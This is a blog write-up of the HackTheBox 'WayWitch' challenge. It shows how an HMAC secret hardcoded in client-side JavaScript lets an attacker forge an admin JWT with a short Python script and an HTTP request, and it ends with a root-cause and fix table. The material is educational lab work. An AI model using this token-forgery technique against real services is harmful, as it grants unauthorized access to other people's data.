Skip to main content

Command Palette

Search for a command to run...

HackTheBox : WayWitch Writeup

Updated
•4 min read•View as Markdown
HackTheBox : WayWitch Writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Summary

The ticket portal generates guest session JWTs client-side, signing them with an HMAC secret (halloween-secret) that's hardcoded directly in the page's JavaScript. Since the server verifies tokens with that same secret, anyone can read it from the page source and forge their own token with username: "admin". Access control on the /tickets endpoint trusts this claim outright, so the forged token unlocks the admin-only ticket list - which contains the flag.


1. Recon

The challenge exposed a single web service (a Halloween-themed "WitchWay" ticket support portal) reachable over HTTPS with a self-signed cert:

curl https://<target-ip>:<port>/ --insecure

The landing page rendered a ticket submission form and pulled in a client-side JWT library (jose.min.js). Viewing the page source revealed inline JavaScript that generates a guest session token entirely in the browser:

const secretKey = await crypto.subtle.importKey(
    "raw",
    new TextEncoder().encode("halloween-secret"),
    { name: "HMAC", hash: "SHA-256" },
    false,
    ["sign"],
);

This is the core flaw: the HMAC secret used to sign session tokens (halloween-secret) is shipped in plaintext inside client-facing JavaScript. Since JWTs signed with HS256 are verified with the same symmetric key used to sign them, anyone who reads the page source can mint their own valid tokens.

On page load, a session_token cookie is set containing a JWT with only two claims:

{ "username": "guest_1234", "iat": 1699999999 }

2. Source review

A downloadable build archive (build-docker.sh, Dockerfile, src/) confirmed the server-side logic. The relevant route, src/routes/index.js:

router.get("/tickets", async (req, res) => {
  const sessionToken = req.cookies.session_token;
  ...
  const username = getUsernameFromToken(sessionToken);

  if (username === "admin") {
    const tickets = await db.get_tickets();
    return res.status(200).json({ tickets });
  } else {
    return res.status(403).json(response("Access denied. Admin privileges required."));
  }
});

Access control here is entirely dependent on one thing: the username claim decoded out of the client-supplied session_token cookie. There's no separate role or permission field - just a string equality check against "admin".

database.js confirmed the payoff. A seeded ticket belonging to admin holds the flag:

('Admin', 'admin', 'Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter ${flag}')

So the path to the flag is:

Forge a JWT with username: "admin", signed with the leaked secret halloween-secret → hit GET /tickets → read the admin ticket's content.

3. Exploitation

Since the server signs and verifies with the same symmetric secret found in the client-side bundle, forging a valid admin token just means signing our own JWT with that key.

import jwt
import time

JWT_SECRET = "halloween-secret"

payload = {
    "username": "admin",
    "iat": int(time.time())
}

forged_token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(forged_token)

This produces a token such as:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg0Mjg4NjQ4fQ.<signature>

The forged token was set as the session_token cookie and sent to the protected endpoint (confirmed working in Burp Repeater):

GET /tickets HTTP/1.1
Host: 154.57.164.73:31677
Cookie: session_token=<forged admin JWT>

4. Result

The server accepted the forged token, decoded username: "admin" from it, and returned the full ticket list - including the admin-only entry:

{
  "id": 3,
  "name": "Admin",
  "username": "admin",
  "content": "Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter HTB{REDACTED}"
}

Flag: HTB{REDACTED}

5. Root Cause & Fix

Issue Why it matters Fix
JWT secret embedded in client-side JS Anyone loading the page can read the exact signing key Never generate or sign session tokens client-side; issue tokens only from the server after real authentication
Access control keyed on a raw JWT claim string Any token bearer can set username to whatever they like if they know the secret Enforce role checks server-side against a trusted source (session store / DB), not a self-asserted claim
Guest sessions minted without any server-side authentication step No proof of identity is ever established Require the server to issue and sign tokens itself, using a secret that never leaves the backend

HackTheBox Writeups

Part 39 of 43

Detailed walkthroughs of retired HackTheBox machines covering web exploitation, ActiveDirectory attacks, privilege escalation and more. Every machine is fully compromised and documented step by step.

Up next

HackTheBox : Void Whispers Writeup

Summary The "Void Whispers" mail-settings panel passes the user-supplied sendMailPath field directly into shell_exec("which $sendMailPath") with no escaping. The app only filters literal whitespace, w